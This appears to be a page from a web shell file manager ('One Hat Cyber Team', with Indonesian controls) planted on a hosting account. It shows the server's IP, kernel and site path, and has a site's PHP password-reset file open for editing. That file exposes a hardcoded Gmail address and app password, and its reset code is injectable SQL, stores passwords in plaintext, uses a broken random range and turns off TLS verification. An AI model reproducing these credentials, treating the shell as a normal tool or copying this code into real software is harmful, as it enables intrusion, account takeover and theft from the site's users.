One Hat Cyber Team
Your IP :
216.73.216.186
Server IP :
147.79.69.120
Server :
Linux in-mum-web1837.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
Server Software :
LiteSpeed
PHP Version :
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
u322583024
/
domains
/
jimmy2chs.in
/
public_html
/
Edit File:
controllerUserData.php
<?php include('connection.inc.php'); // index.php or similar if (session_status() === PHP_SESSION_NONE) { session_start(); } $email = ""; $name = ""; $phone = ""; $errors = array(); //if user click continue button in forgot password form if(isset($_POST['check-email'])){ $email = mysqli_real_escape_string($con, $_POST['email']); $check_email = "SELECT * FROM `members` WHERE `email` LIKE '$email'"; $run_sql = mysqli_query($con, $check_email); if(mysqli_num_rows($run_sql) > 0){ $code = rand(999999, 111111); $insert_code = "UPDATE members SET passwordcode = $code WHERE email = '$email'"; $run_query = mysqli_query($con, $insert_code); if($run_query){ $subject = "Password Reset Code"; $mailHtml='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- Facebook sharing information tags --> <meta property="og:title" content="Your password reset code"> <title>Your password reset code</title> <style type="text/css"> #outlook a { padding: 0; } body { width: 100% !important; } .ReadMsgBody { width: 100%; } .ExternalClass { width: 100%; } body { -webkit-text-size-adjust: none; } body { margin: 0; padding: 0; } img { border: 0; height: auto; line-height: 100%; outline: none; text-decoration: none; } table td { border-collapse: collapse; } #backgroundTable { height: 100% !important; margin: 0; padding: 0; width: 100% !important; } body, #backgroundTable { background-color: #FAFAFA; } #templateContainer { border: 1px none #DDDDDD; } h1, .h1 { /*@editable*/ color: #202020; display: block; /*@editable*/ font-family: Arial; /*@editable*/ font-size: 24px; /*@editable*/ font-weight: bold; /*@editable*/ line-height: 100%; margin-top: 20px; margin-right: 0; margin-bottom: 20px; margin-left: 0; /*@editable*/ text-align: center; } h2, .h2 { /*@editable*/ color: #202020; display: block; /*@editable*/ font-family: Arial; /*@editable*/ font-size: 30px; /*@editable*/ font-weight: bold; /*@editable*/ line-height: 100%; margin-top: 0; margin-right: 0; margin-bottom: 10px; margin-left: 0; /*@editable*/ text-align: center; } h3, .h3 { /*@editable*/ color: #202020; display: block; /*@editable*/ font-family: Arial; /*@editable*/ font-size: 26px; /*@editable*/ font-weight: bold; /*@editable*/ line-height: 100%; margin-top: 0; margin-right: 0; margin-bottom: 10px; margin-left: 0; /*@editable*/ text-align: center; } h4, .h4 { /*@editable*/ color: #202020; display: block; /*@editable*/ font-family: Arial; /*@editable*/ font-size: 22px; /*@editable*/ font-weight: bold; /*@editable*/ line-height: 100%; margin-top: 0; margin-right: 0; margin-bottom: 10px; margin-left: 0; /*@editable*/ text-align: center; } #templatePreheader { /*@editable*/ background-color: #FAFAFA; } .preheaderContent div { /*@editable*/ color: #505050; /*@editable*/ font-family: Arial; /*@editable*/ font-size: 10px; /*@editable*/ line-height: 100%; /*@editable*/ text-align: left; } .preheaderContent div a:link, .preheaderContent div a:visited, .preheaderContent div a .yshortcuts { /*@editable*/ color: #336699; /*@editable*/ font-weight: normal; /*@editable*/ text-decoration: underline; } .preheaderContent img { display: inline; height: auto; margin-bottom: 10px; max-width: 280px; } /* @tab Header @section header style @tip Set the background color and border for your emails header area. @theme header */ #templateHeader { /*@editable*/ background-color: #FFFFFF; /*@editable*/ border-bottom: 0; } /* @tab Header @section header text @tip Set the styling for your emails header text. Choose a size and color that is easy to read. */ .headerContent { /*@editable*/ color: #202020; /*@editable*/ font-family: Arial; /*@editable*/ font-size: 34px; /*@editable*/ font-weight: bold; /*@editable*/ line-height: 100%; /*@editable*/ padding: 0; /*@editable*/ text-align: left; /*@editable*/ vertical-align: middle; background-color: #FAFAFA; padding-bottom: 14px; } .headerContent a:link, .headerContent a:visited, .headerContent a .yshortcuts { /*@editable*/ color: #336699; /*@editable*/ font-weight: normal; /*@editable*/ text-decoration: underline; } #headerImage { height: auto; max-width: 400px !important; } #templateContainer, .bodyContent { /*@editable*/ background-color: #FFFFFF; } .bodyContent div { /*@editable*/ color: #505050; /*@editable*/ font-family: Arial; /*@editable*/ font-size: 14px; /*@editable*/ line-height: 150%; /*@editable*/ text-align: left; } .bodyContent div a:link, .bodyContent div a:visited, .bodyContent div a .yshortcuts { /*@editable*/ color: #336699; /*@editable*/ font-weight: normal; /*@editable*/ text-decoration: underline; } .bodyContent img { display: inline; height: auto; margin-bottom: 10px; max-width: 280px; } #templateFooter { /*@editable*/ background-color: #FFFFFF; /*@editable*/ border-top: 0; } .footerContent { background-color: #fafafa; } .footerContent div { /*@editable*/ color: #707070; /*@editable*/ font-family: Arial; /*@editable*/ font-size: 11px; /*@editable*/ line-height: 150%; /*@editable*/ text-align: left; } .footerContent div a:link, .footerContent div a:visited, .footerContent div a .yshortcuts { /*@editable*/ color: #336699; /*@editable*/ font-weight: normal; /*@editable*/ text-decoration: underline; } .footerContent img { display: inline; } #social { /*@editable*/ background-color: #FAFAFA; /*@editable*/ border: 0; } #social div { /*@editable*/ text-align: left; } #utility { background-color: #FFFFFF; border: 0; } #utility div { /*@editable*/ text-align: left; } #monkeyRewards img { display: inline; height: auto; max-width: 280px; } /* ATAVIST CUSTOM STYLES */ .buttonText { color: #4A90E2; text-decoration: none; font-weight: normal; display: block; border: 2px solid #585858; padding: 10px 80px; font-family: Arial; } #supportSection, .supportContent { background-color: white; font-family: arial; font-size: 12px; border-top: 1px solid #e4e4e4; } .bodyContent table { padding-bottom: 10px; } .footerContent p { margin: 0; margin-top: 2px; } .headerContent.centeredWithBackground { background-color: #F4EEE2; text-align: center; padding-top: 20px; padding-bottom: 20px; } @media only screen and (min-device-width: 320px) and (max-device-width: 480px) { h1 { font-size: 40px !important; } .content { font-size: 22px !important; } .bodyContent p { font-size: 22px !important; } .buttonText { font-size: 22px !important; } p { font-size: 16px !important; } .footerContent p { padding-left: 5px !important; } .mainContainer { padding-bottom: 0 !important; } } </style> </head> <body leftmargin="0" marginwidth="0" topmargin="0" marginheight="0" offset="0" style="width:100% ;-webkit-text-size-adjust:none;margin:0;padding:0;background-color:#FAFAFA;"> <center> <table border="0" cellpadding="0" cellspacing="0" height="100%" width="100%" id="backgroundTable" style="height:100% ;margin:0;padding:0;width:100% ;background-color:#FAFAFA;"> <tr> <td align="center" valign="top" style="border-collapse:collapse;"> <table border="0" cellpadding="10" cellspacing="0" width="450" id="templatePreheader" style="background-color:#FAFAFA;"> <tr> <td valign="top" class="preheaderContent" style="border-collapse:collapse;"> <table border="0" cellpadding="10" cellspacing="0" width="100%"> <tr> <td valign="top" style="border-collapse:collapse;"> </td> </tr> </table> </td> </tr> </table> <table border="0" cellpadding="0" cellspacing="0" width="450" id="templateContainer" style="border:1px none #DDDDDD;background-color:#FFFFFF;"> <tr> <td align="center" valign="top" style="border-collapse:collapse;"> <table border="0" cellpadding="0" cellspacing="0" width="450" id="templateHeader" style="background-color:#FFFFFF;border-bottom:0;"> <tr> <td class="headerContent centeredWithBackground" style="border-collapse:collapse;color:#202020;font-family:Arial;font-size:34px;font-weight:bold;line-height:100%;padding:0;text-align:center;vertical-align:middle;background-color:#F4EEE2;padding-bottom:20px;padding-top:20px;"> <img width="130" src="logo.png" style="width:130px;max-width:130px;border:0;height:auto;line-height:100%;outline:none;text-decoration:none;" id="headerImage campaign-icon"> </td> </tr> </table> </td> </tr> <tr> <td align="center" valign="top" style="border-collapse:collapse;"> <table border="0" cellpadding="0" cellspacing="0" width="450" id="templateBody"> <tr> <td valign="top" class="bodyContent" style="border-collapse:collapse;background-color:#FFFFFF;"> <table border="0" cellpadding="20" cellspacing="0" width="100%" style="padding-bottom:10px;"> <tr> <td valign="top" style="padding-bottom:1rem;border-collapse:collapse;" class="mainContainer"> <div style="text-align:center;color:#505050;font-family:Arial;font-size:14px;line-height:150%;"> <h1 class="h1" style="color:#202020;display:block;font-family:Arial;font-size:24px;font-weight:bold;line-height:100%;margin-top:20px;margin-right:0;margin-bottom:20px;margin-left:0;text-align:center;">Your password reset code</h1> <p>'.$code.'</p> </div> </td> </tr> </table> </td> </tr> </table> </td> </tr> <tr> <td align="center" valign="top" style="border-collapse:collapse;"> <table border="0" cellpadding="10" cellspacing="0" width="450" id="supportSection" style="background-color:white;font-family:arial;font-size:12px;border-top:1px solid #e4e4e4;"> <tr> <td valign="top" class="supportContent" style="border-collapse:collapse;background-color:white;font-family:arial;font-size:12px;border-top:1px solid #e4e4e4;"> <table border="0" cellpadding="10" cellspacing="0" width="100%"> <tr> <td valign="top" width="100%" style="border-collapse:collapse;"> <br> <div style="text-align: center; color: #c9c9c9;"> <p>Questions? Get your answers here: <a href="http://help.atavist.com" style="color:#4a90e2;font-weight:normal;text-decoration:underline; font-size: 12px;">Help Center</a>. </p> </div> <br> </td> </tr> </table> <!-- // End Module: Standard Footer \\ --> </td> </tr> </table> <!-- // Begin Support Section \\ --> </td> </tr> <tr> <td align="center" valign="top" style="border-collapse:collapse;"> <!-- // Begin Template Footer \\ --> <table border="0" cellpadding="10" cellspacing="0" width="450" id="templateFooter" style="background-color:#FFFFFF;border-top:0;"> <tr> <td valign="top" class="footerContent" style="padding-left:0;border-collapse:collapse;background-color:#fafafa;"> <div style="text-align:center;color:#c9c9c9;font-family:Arial;font-size:11px;line-height:150%;"> <p style="text-align:center;margin:0;margin-top:2px;">Copyright 2020 JooJoo All Rights Reserved.</p> </div> </td> </tr> </table> </td> </tr> </table> <br> </td> </tr> </table> </center> </body> </html>'; include('smtp/PHPMailerAutoload.php'); $mail=new PHPMailer(true); $mail->isSMTP(); $mail->Host="smtp.gmail.com"; $mail->Port=587; $mail->SMTPSecure="tls"; $mail->SMTPAuth=true; $mail->Username = "hsdigital30@gmail.com"; $mail->Password = "kyok agvi pcrv wjce"; $mail->setFrom("hsdigital30@gmail.com"); $mail->addAddress($email); $mail->IsHTML(true); $mail->Subject=$subject; $mail->Body=$mailHtml; $mail->SMTPOptions=array('ssl'=>array( 'verify_peer'=>false, 'verify_peer_name'=>false, 'allow_self_signed'=>false )); if($mail->send()){ $info = "We've sent a passwrod reset otp to your email - $email"; $_SESSION['info'] = $info; $_SESSION['email'] = $email; ?> <script> window.location.href = "reset-code.php";</script> <?php exit(); }else{ $errors['otp-error'] = "Failed while sending code!"; } }else{ $errors['db-error'] = "Something went wrong!"; } }else{ $errors['email'] = "This email address does not exist!"; } } //if user click check reset otp button if(isset($_POST['check-reset-otp'])){ $_SESSION['info'] = ""; $otp_code = mysqli_real_escape_string($con, $_POST['otp']); $check_code = "SELECT * FROM members WHERE passwordcode = $otp_code"; $code_res = mysqli_query($con, $check_code); if(mysqli_num_rows($code_res) > 0){ $fetch_data = mysqli_fetch_assoc($code_res); $email = $fetch_data['email']; $_SESSION['email'] = $email; $info = "Please create a new password."; $_SESSION['info'] = $info; ?> <script> window.location.href = "new-password.php";</script> <?php exit(); }else{ $errors['otp-error'] = "You've entered incorrect code!"; } } //if user click change password button if(isset($_POST['change-password'])){ $_SESSION['info'] = ""; $password = mysqli_real_escape_string($con, $_POST['password']); $cpassword = mysqli_real_escape_string($con, $_POST['cpassword']); if (strlen($password) < 6) { $errors['password'] = 'Password should be at least 6 characters long!'; } else if($password !== $cpassword){ $errors['password'] = "Confirm password not matched!"; } else{ $code = 0; $email = $_SESSION['email']; //getting this email using session $update_pass = "UPDATE members SET passwordcode = $code, pass = '$password' WHERE email = '$email'"; $run_query = mysqli_query($con, $update_pass); if($run_query){ $info = "Your password changed. Now you can login with your new password."; $_SESSION['info'] = $info; ?> <script> window.location.href = "password-changed.php";</script> <?php }else{ $errors['db-error'] = "Failed to change your password!"; } } } //if login now button click if(isset($_POST['login-now'])){ ?> <script> window.location.href = "index.php";</script> <?php } ?>
Simpan